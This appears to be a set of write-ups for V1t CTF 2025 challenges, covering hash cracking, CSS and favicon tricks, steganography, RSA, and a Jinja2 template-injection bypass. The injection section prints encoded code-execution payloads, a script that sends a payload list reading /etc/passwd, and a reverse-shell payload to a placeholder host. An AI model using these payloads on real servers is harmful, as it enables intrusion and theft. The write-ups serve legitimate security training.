V1t CTF 2025
V1t CTF 2025

V1t CTF 2025

Login page

<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <title>Login Panel</title> </head> <body> <script> async function toHex(buffer) { const bytes = new Uint8Array(buffer); let hex = ''; for (let i = 0; i < bytes.length; i++) { hex += bytes[i].toString(16).padStart(2, '0'); } return hex; } async function sha256Hex(str) { const enc = new TextEncoder(); const data = enc.encode(str); const digest = await crypto.subtle.digest('SHA-256', data); return toHex(digest); } function timingSafeEqualHex(a, b) { if (a.length !== b.length) return false; let diff = 0; for (let i = 0; i < a.length; i++) { diff |= a.charCodeAt(i) ^ b.charCodeAt(i); } return diff === 0; } (async () => { const ajnsdjkamsf = 'ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e'; // replace const lanfffiewnu = '48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6'; // replace const username = prompt('Enter username:'); const password = prompt('Enter password:'); if (username === null || password === null) { alert('Missing username or password'); return; } const uHash = await sha256Hex(username); const pHash = await sha256Hex(password); if (timingSafeEqualHex(uHash, ajnsdjkamsf) && timingSafeEqualHex(pHash, lanfffiewnu)) { alert(username+ '{'+password+'}'); } else { alert('Invalid credentials'); } })(); </script> </body> </html>
  • run hashcat/crackstation.net to get the flag
  • user = v1t
  • pass = p4ssw0rd




v1tCTF — Stylish Flag (Web)

  • Category: Web
  • Difficulty: Easy

Challenge Overview

The page loads a nearly empty HTML with just a single div.flag:
<link rel="stylesheet" href="csss.css"> <div class="flag"></div>
The CSS paints “pixels” by using a huge box-shadow list on an 8×8 base square:
.flag { width: 8px; height: 8px; background: #0f0; box-shadow: 264px 0px #0f0, 1200px 0px #0f0, 0px 8px #0f0, 32px 8px #0f0, ... many more offsets ... 1200px 64px #0f0; }
Each xpx ypx #0f0 entry draws another 8×8 green square at that offset. Together they form pixel art that encodes the flag.
The hint in the repo’s note says: “unhide the hidden class and just get the flag.” In practice, the trick is to make the pixel art legible by adjusting styles in DevTools.

TL;DR

  • Inspect the div.flag.
  • Temporarily scale it up or reveal any hidden styling.
  • The green pixel art spells the flag.

Step-by-Step Solution

  1. Open the page and launch your browser’s DevTools (F12).
  1. In the Elements panel, select the <div class="flag">.
  1. In the Styles panel, add a scaling rule to make the pixel art readable:
    Tips:
    1. .flag { transform: scale(6); transform-origin: top left; }
      • If the background makes it hard to read, also add:
        • body { background: #000 !important; }
      • Alternatively, increase the base “pixel” size:
        • .flag { width: 16px; height: 16px; }
  1. If there’s any hidden/visibility styling in the live challenge (e.g., a .hidden { display:none } on the flag container), remove or override it:
    1. .hidden { display: block !important; opacity: 1 !important; visibility: visible !important; }
  1. Once scaled, the pixel grid clearly renders text — read off the CTF flag.
A reference rendering is shown in the repo’s screenshot: sty.png.

Why This Works

  • The box-shadow list is a classic CSS “pixel art” trick: one base element plus many shadows to draw pixels.
  • All offsets are multiples of 8px in both x and y, creating a grid of 8×8 pixels across nine rows (0px–64px vertically).
  • Scaling the element (or increasing its base pixel size) makes the rendered text legible without changing the semantics of the page.

Alternative (Programmatic) Reveal

If you prefer automation:
  • Copy the box-shadow values into a small script to parse (x, y) pairs and render them onto a canvas or an image.
  • Draw filled rectangles at those coordinates, using the base pixel size (8×8) and you’ll reproduce the same image.
notion image

Flag

  • The flag is the green pixel-art text rendered by the CSS. View it after applying the scale override, or see the repo screenshot linked above.


v1tCTF — 5571 (Web/SSTI)

  • Category: Web
  • Technique: SSTI (Server-Side Template Injection)
  • Difficulty: Medium
  • Goal: Bypass a naive blacklist to achieve code execution and read the flag

Challenge Summary

The backend attempts to sanitize user input by blocking specific “dangerous” literals:
<!-- Remember to block potentially dangerous literals in the backend! BLOCKED_LITERALS = [ '{', '}', '__', 'open', 'os', 'subprocess', 'import', 'eval', 'exec', 'system', 'popen', 'builtins', 'globals', 'locals', 'getattr', 'setattr', 'class', 'compile', 'inspect' ] -->
The page is vulnerable to SSTI. The objective is to bypass the blacklist and execute a Jinja2 payload to read the flag file.

Key Idea: Percent-Encoding to Evade Blacklist

  • The blacklist appears to be applied on the raw input before decoding.
  • By percent-encoding the entire payload (including braces, dots, underscores, quotes, etc.), we hide the literal characters from the blacklist.
  • When the server decodes the request (once or more) and then renders the template, the originally blocked tokens reappear and the payload executes.
Example raw payload (classic Jinja2 RCE pattern):
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
Fully percent-encoded (each byte to %HH):
%7B%7B%63%6F%6E%66%69%67%2E%5F%5F%63%6C%61%73%73%5F%5F%2E%5F%5F%69%6E%69%74%5F%5F%2E%5F%5F%67%6C%6F%62%61%6C%73%5F%5F%5B%27%6F%73%27%5D%2E%70%6F%70%65%6E%28%27%63%61%74%20%66%6C%61%67%2E%74%78%74%27%29%2E%72%65%61%64%28%29%7D%7D
If you then submit this as application/x-www-form-urlencoded, the HTTP client will encode the percent signs again in the body (e.g., % -> %25) and the server-side request parsing typically decodes once, restoring the original %HH sequences for the app to decode later. This commonly bypasses naive pre-decode blacklists.

Recon and Enumeration

To confirm SSTI and learn the template engine behavior, enumerating benign payloads helps:
  • Arithmetic echo: {{3*3}} => 9
  • String ops: {{3*'3'}} => 333
  • Template engine-agnostic probes and various framework payloads (Jinja2, Twig, Freemarker, Spring EL, etc.) to see what sticks.
Once a Jinja2 context is confirmed, pivot to safe object graph traversal payloads (e.g., {{config.items()}}, MRO paths) and then to OS command execution via config.__class__.__init__.__globals__['os'].
A practical test payload before exfiltrating the flag is:
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
If you see files like flag.txt in the response, you have code execution.

Automation Script (Enumeration + Encoding)

The following script:
  • Takes a list of raw payloads.
  • Converts each to a fully percent-encoded string (encode every UTF‑8 byte).
  • Sends as form data and captures a small response snippet.
This helps identify which payloads are accepted and rendered.
import sys import json import re import argparse import requests # pip install requests RAW_PAYLOADS = [ r"{{2*2}}[[3*3]]", r"{{3*3}}", r"{{3*'3'}}", r"<%= 3 * 3 %>", r"${6*6}", r"${{3*3}}", r"@(6+5)", r"#{3*3}", r"#{ 3 * 3 }", r"{{dump(app)}}", r"{{app.request.server.all|join(',')}}", r"{{config.items()}}", r"{{ [].class.base.subclasses() }}", r"{{''.class.mro()[1].subclasses()}}", r"{{ ''.__class__.__mro__[2].__subclasses__() }}", r"{{''.__class__.__base__.__subclasses__()}}", r"{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}", r"{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}", r"{{'a'.toUpperCase()}}", r"{{ request }}", r"{{self}}", r"<%= File.open('/etc/passwd').read %>", r'<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}', r"[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}", r'${"freemarker.template.utility.Execute"?new()("id")}', r"{{app.request.query.filter(0,0,1024,{'options':'system'})}}", r"{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}", r'{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}', r"{{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}", r"{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}", r'{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__["__import__"]("os").popen(request.args.input).read()}}{%endif%}{%endfor %}', r"{$smarty.version}", r"{php}echo `id`;{/php}", r"{{['id']|filter('system')}}", r"{{['cat\\x20/etc/passwd']|filter('system')}}", r"{{['cat$IFS/etc/passwd']|filter('system')}}", r"{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}", r'{{request|attr(["_"*2,"class","_"*2]|join)}}', r'{{request|attr(["__","class","__"]|join)}}', r"{{request|attr('__class__')}}", r"{{request.__class__}}", r"{{request|attr('application')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fbuiltins\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fimport\\x5f\\x5f')('os')|attr('popen')('id')|attr('read')()}}", r'{{\\'a\\'.getClass().forName(\\'javax.script.ScriptEngineManager\\').newInstance().getEngineByName(\\'JavaScript\\').eval("new java.lang.String(\\'xxx\\')")}}', r'{{\\'a\\'.getClass().forName(\\'javax.script.ScriptEngineManager\\').newInstance().getEngineByName(\\'JavaScript\\').eval("var x=new java.lang.ProcessBuilder; x.command(\\\\"whoami\\\\"); x.start()")}}', r'{{\\'a\\'.getClass().forName(\\'javax.script.ScriptEngineManager\\').newInstance().getEngineByName(\\'JavaScript\\').eval("var x=new java.lang.ProcessBuilder; x.command(\\\\"netstat\\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}', r'{{\\'a\\'.getClass().forName(\\'javax.script.ScriptEngineManager\\').newInstance().getEngineByName(\\'JavaScript\\').eval("var x=new java.lang.ProcessBuilder; x.command(\\\\"uname\\\\",\\\\"-a\\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}', r'{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__["__import__"]("os").popen("python3 -c \\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\"ip\\\\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\\"/bin/cat\\\\", \\\\"/etc/passwd\\\\"]);\\'").read().zfill(417)}}{%endif%}{% endfor %}', r"${T(java.lang.System).getenv()}", r"${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}", r"${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}", ] def encode_all_bytes(s: str) -> str: # Hard percent-encode every UTF-8 byte into %HH, including letters, digits, and underscores. return ''.join(f'%{b:02X}' for b in s.encode('utf-8')) def extract_rendered(html: str) -> str | None: # Attempt to extract <pre class="output">...</pre> as a quick verification hint. m = re.search(r'<pre\\s+class="output">(.*?)</pre>', html, flags=re.DOTALL | re.IGNORECASE) if not m: return None snap = re.sub(r'\\s+', ' ', m.group(1)).strip() return snap[:500] def main(): ap = argparse.ArgumentParser(description="Hard-encode payloads and POST as form data, saving JSONL results.") ap.add_argument("--url", default="<http://chall.v1t.site:30300/>", help="Target URL to POST to (default: challenge root).") ap.add_argument("--out", default="results.jsonl", help="Output JSONL file path (default: results.jsonl).") ap.add_argument("--timeout", type=float, default=15.0, help="Request timeout in seconds (default: 15).") ap.add_argument("--ua", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36", help="User-Agent header.") args, _ = ap.parse_known_args() headers = { "Accept-Language": "en-US,en;q=0.9", "Origin": "<http://chall.v1t.site:30300>", "Referer": "<http://chall.v1t.site:30300/>", "User-Agent": args.ua, } with open(args.out, "w", encoding="utf-8") as f: for raw in RAW_PAYLOADS: raw_line = raw.strip() hard_encoded = encode_all_bytes(raw_line) try: r = requests.post( args.url, data={"payload": hard_encoded}, headers=headers, timeout=args.timeout, ) except Exception as e: record = { "raw": raw_line, "hard_encoded": hard_encoded, "request_body": None, "status": None, "response_snippet": None, "error": repr(e), } f.write(json.dumps(record, ensure_ascii=False) + "\\n") f.flush() print(f"[ERROR] {raw_line[:40]}... -> {e}") continue req_body = r.request.body if isinstance(req_body, bytes): req_body = req_body.decode("utf-8", errors="replace") snippet = extract_rendered(r.text) record = { "raw": raw_line, "hard_encoded": hard_encoded, "request_body": req_body, # e.g., payload=%257B%257B... "status": r.status_code, "response_snippet": snippet, } f.write(json.dumps(record, ensure_ascii=False) + "\\n") f.flush() print(f"[OK] {raw_line[:40]}... -> {r.status_code} | snippet: {snippet!r}") if __name__ == "__main__": main()

Working Payload

  • Probe with ls to verify command execution:
    • Raw:
      • {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
    • Fully percent-encoded:
      • %7B%7B%63%6F%6E%66%69%67%2E%5F%5F%63%6C%61%73%73%5F%5F%2E%5F%5F%69%6E%69%74%5F%5F%2E%5F%5F%67%6C%6F%62%61%6C%73%5F%5F%5B%27%6F%73%27%5D%2E%70%6F%70%65%6E%28%27%6C%73%27%29%2E%72%65%61%64%28%29%7D%7D
  • Final flag exfiltration:
    • Raw:
      • {{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
    • Fully percent-encoded:
      • %7B%7B%63%6F%6E%66%69%67%2E%5F%5F%63%6C%61%73%73%5F%5F%2E%5F%5F%69%6E%69%74%5F%5F%2E%5F%5F%67%6C%6F%62%61%6C%73%5F%5F%5B%27%6F%73%27%5D%2E%70%6F%70%65%6E%28%27%63%61%74%20%66%6C%61%67%2E%74%78%74%27%29%2E%72%65%61%64%28%29%7D%7D
Submit the percent-encoded string as the form value. If the backend decodes and renders the template, the flag content will appear in the response.

Why This Bypass Works

  • Blacklists are fragile, especially when applied before decoding.
  • Encoding the entire payload prevents the literal tokens ({, }, __, os, popen, etc.) from matching blacklist checks.
  • After decoding occurs later in the request/templating pipeline, the payload is restored and evaluated by the template engine.

Flag

  • Retrieved by executing the final payload above:
    • {{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
  • The server’s response contains the flag text.
notion image


v1tCTF — Tiny Flag (Web)

  • Category: Web
  • Difficulty: Easy
  • Flag: v1t{T1NY_ICO}

Overview

The page is full of decorative elements (moving dots, scanlines, etc.), which are red herrings. The title and hint suggest the flag is “tiny” and right “in front of your eyes.” The trick is that the flag is drawn inside the page’s favicon.
notion image

Steps

  1. Open the site and inspect the page head (View Source or DevTools → Elements).
  1. Notice the favicon reference:
    1. <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
  1. Open favicon.ico directly in a new tab (DevTools → Network → click the icon request, or manually visit https://tommytheduck.github.io/tiny_flag/favicon.ico).
notion image
  1. Zoom way in (800–1600%) to see the pixel art text clearly. It reads:
    1. v1t{T1NY_ICO}
The attached screenshot shows an enlarged view of the tiny pixel text rendered from the favicon.

Alternative: Extract and Upscale Locally

  • Download the favicon:
    • curl -O <https://tommytheduck.github.io/tiny_flag/favicon.ico>
  • Convert and upscale with nearest-neighbor to keep pixels crisp:
    • # Requires ImageMagick convert favicon.ico -filter point -resize 1600% out.png
  • Open out.png to read the flag.

Pitfalls

  • Don’t over-focus on hidden CSS pixels or JS effects; they’re decoys.
  • The entire solve is recognizing the favicon and zooming in.

Flag

v1t{T1NY_ICO}


v1tCTF — Mark The Lyrics (Web)

  • Category: Web
  • Difficulty: Easy
  • Goal: Notice what’s “odd” about the lyrics and extract the hidden flag.

Overview

The page shows well‑formatted Vietnamese rap lyrics (Verse, Pre‑Chorus, Chorus, Outro). The prompt hints that something is “odd” about the lyrics. Viewing the HTML reveals certain fragments wrapped in <mark>...</mark> elements. Those marked fragments, read in order, form the flag.
notion image

Manual Extraction

Reading each <mark> in document order yields:
  1. V
  1. 1
  1. T (from “M‑TP”, the letter T is marked)
  1. {
  1. MCK
  1. pap-
  1. cool
  1. ooh-
  1. yeah
  1. }
Concatenate, preserving hyphens that are part of the marked text:
  • Combined: V1T{MCK-pap-cool-ooh-yeah}
That matches the CTF’s flag format.

One‑liners (Browser Console)

  • DOM extraction:
    • Array.from(document.querySelectorAll('mark')) .map(m => m.textContent) .join(''); // => "V1T{MCK-pap-cool-ooh-yeah}"
  • With visual confirmation of order:
    • Array.from(document.querySelectorAll('mark')) .map((m,i) => `${i+1}. ${m.textContent}`) .join('\\n');

Scripted Extraction (Python)

#!/usr/bin/env python3 import re, sys, pathlib html = pathlib.Path('index.html').read_text(encoding='utf-8') marks = re.findall(r'<mark>([^<]+)</mark>', html) print("MARK THE LYRICS - FLAG EXTRACTOR") for i, m in enumerate(marks, 1): print(f"{i}. {m}") flag = ''.join(marks) print("\\nCombined:", flag) print("Flag format: V1T{...}")
Output:
Combined: V1T{MCK-pap-cool-ooh-yeah}

Flag

V1T{MCK-pap-cool-ooh-yeah}


v1tCTF — Lost Some Binary (Cryptographie)

  • Category: Cryptographie
  • Difficulty: Easy–Medium
  • Technique: LSB extraction from an 8‑bit binary stream
  • Flag: v1t{LSB:>}

Challenge

A long sequence of 8‑bit binary bytes is given:
01001000 01101001 01101001 01101001 00100000 01101101 01100001 01101110 00101100 01101000 01101111 01110111 00100000 01110010 00100000 01110101 00100000 00111111 01001001 01110011 00100000 01101001 01110100 00100000 00111010 00101001 00101001 00101001 00101001 01010010 01100001 01110111 01110010 00101101 01011110 01011110 01011011 01011101 00100000 00100000 01001100 01010011 01000010 01111011 00111110 00111100 01111101 00100001 01001100 01010011 01000010 01111110 01111110 01001100 01010011 01000010 01111110 01111110 00101101 00101101 00101101 01110110 00110001 01110100 00100000 00100000 01111011 00110001 00110011 00110101 00111001 00110000 00110000 01011111 00110001 00110011 00110011 00110111 00110000 01111101
When converted directly to ASCII (byte → char), it prints a readable message:
Hiii man,how r u ?Is it :))))Rawr-^^[] LSB{><}!LSBLSB---v1t {135900_13370}
Key hints inside:
  • LSB{><}! and repeated LSB strongly suggest Least Significant Bit steganography.
  • The v1t {135900_13370} at the end looks decoy-ish (spacing, numbers), nudging you away from taking the plain ASCII at face value.

Solution

Interpret each 8‑bit byte, take its least significant bit (rightmost bit), concatenate all LSBs into a bitstring, then re-slice into 8‑bit groups and convert back to ASCII.

Python extractor

#!/usr/bin/env python3 binary_data = """01001000 01101001 01101001 01101001 00100000 01101101 01100001 01101110 00101100 01101000 01101111 01110111 00100000 01110010 00100000 01110101 00100000 00111111 01001001 01110011 00100000 01101001 01110100 00100000 00111010 00101001 00101001 00101001 00101001 01010010 01100001 01110111 01110010 00101101 01011110 01011110 01011011 01011101 00100000 00100000 01001100 01010011 01000010 01111011 00111110 00111100 01111101 00100001 01001100 01010011 01000010 01111110 01111110 01001100 01010011 01000010 01111110 01111110 00101101 00101101 00101101 01110110 00110001 01110100 00100000 00100000 01111011 00110001 00110011 00110101 00111001 00110000 00110000 01011111 00110001 00110011 00110011 00110111 00110000 01111101""" # Split into bytes and take the last bit of each byte bytes_list = binary_data.split() lsb_bits = ''.join(b[-1] for b in bytes_list) # Group into 8 and convert to characters chars = [chr(int(lsb_bits[i:i+8], 2)) for i in range(0, len(lsb_bits), 8)] flag = ''.join(chars) print(flag) # v1t{LSB:>}
Output:
v1t{LSB:>}

Why it works

  • Each original 8‑bit chunk encodes one visible ASCII character (the decoy message).
  • The author hid an additional message in the LSB of each byte.
  • Collecting those LSBs builds a secondary binary message that decodes to the actual flag.

Pitfalls

  • Ensure every chunk is 8 bits; ignore stray whitespace/newlines.
  • Don’t overthink the readable ASCII; the inline LSB hints point to the real extraction method.
  • Keep the extraction order exactly as given; reordering bytes will corrupt the hidden message.

Flag

v1t{LSB:>}


v1tCTF — RSA 101 (Crypto)

  • Category: Cryptography
  • Difficulty: Easy–Medium
  • Technique: RSA decryption with message wrap-around (m ≥ n)
  • Flag: v1t{RSA_101_b4by}

Overview

You’re given RSA parameters and a ciphertext. Factoring n via FactorDB yields a very small prime p = 101 and a large prime q. Standard RSA decryption m = c^d mod n returns a number that doesn’t decode to ASCII. The twist: the original message M was larger than the modulus n, so encryption implicitly reduced it modulo n. After decryption, you get M mod n; to recover M, you add back (a multiple of) n. Here, adding n once produces a valid ASCII/hex string.

Given

  • p = 101
  • q = 313846144900241708687128313929756784551
  • n = 31698460634924412577399959706905435239651
  • e = 65537
  • c = 23648999580642514140599125257944114844209
Checked:
  • p · q = n (True)
  • p, q are prime (True)

Math

  • φ(n) = (p − 1)(q − 1)
  • d = e⁻¹ mod φ(n)
  • m_dec = cᵈ mod n
  • If original M ≥ n, encryption sent M mod n. After decryption we get m_dec = M mod n.
  • Recover M by testing M = m_dec + k·n for small k ≥ 0 until bytes decode. Here k = 1 works.

Solve (Python)

import sympy as sp p = 101 q = 313846144900241708687128313929756784551 n = 31698460634924412577399959706905435239651 e = 65537 c = 23648999580642514140599125257944114844209 # Sanity checks assert p * q == n assert sp.isprime(p) and sp.isprime(q) phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m_dec = pow(c, d, n) print("m_dec =", m_dec) # Try adding multiples of n until it decodes def try_decode(x: int): try: h = hex(x)[2:] if len(h) % 2: # pad if odd-length hex h = "0" + h return bytes.fromhex(h).decode() except Exception: return None flag = None for k in range(0, 5): # small search radius is enough here candidate = m_dec + k * n s = try_decode(candidate) if s and s.startswith("v1t{") and s.endswith("}"): flag = s print("k =", k, "->", flag) break assert flag is not None
Output (abridged):
m_dec = ... # not ASCII k = 1 -> v1t{RSA_101_b4by}
So the correct plaintext is m_dec + n, yielding the flag.

Why this works

  • RSA encrypts modulo n. If the original message M is larger than n, the actual encrypted value is based on M mod n.
  • Decryption returns the reduced message. Adding one modulus (or a few, in general) reconstructs a valid preimage that maps to a meaningful ASCII message. In CTFs, the smallest k ≥ 0 that decodes to the expected flag format is usually the right answer.

Tips and Pitfalls

  • Always verify p*q == n and primality to avoid bad φ(n).
  • If decryption looks like random bytes, check for wrap-around (try m_dec + k·n).
  • When converting big integers to bytes, ensure the hex string has even length; pad if necessary.

Flag

v1t{RSA_101_b4by}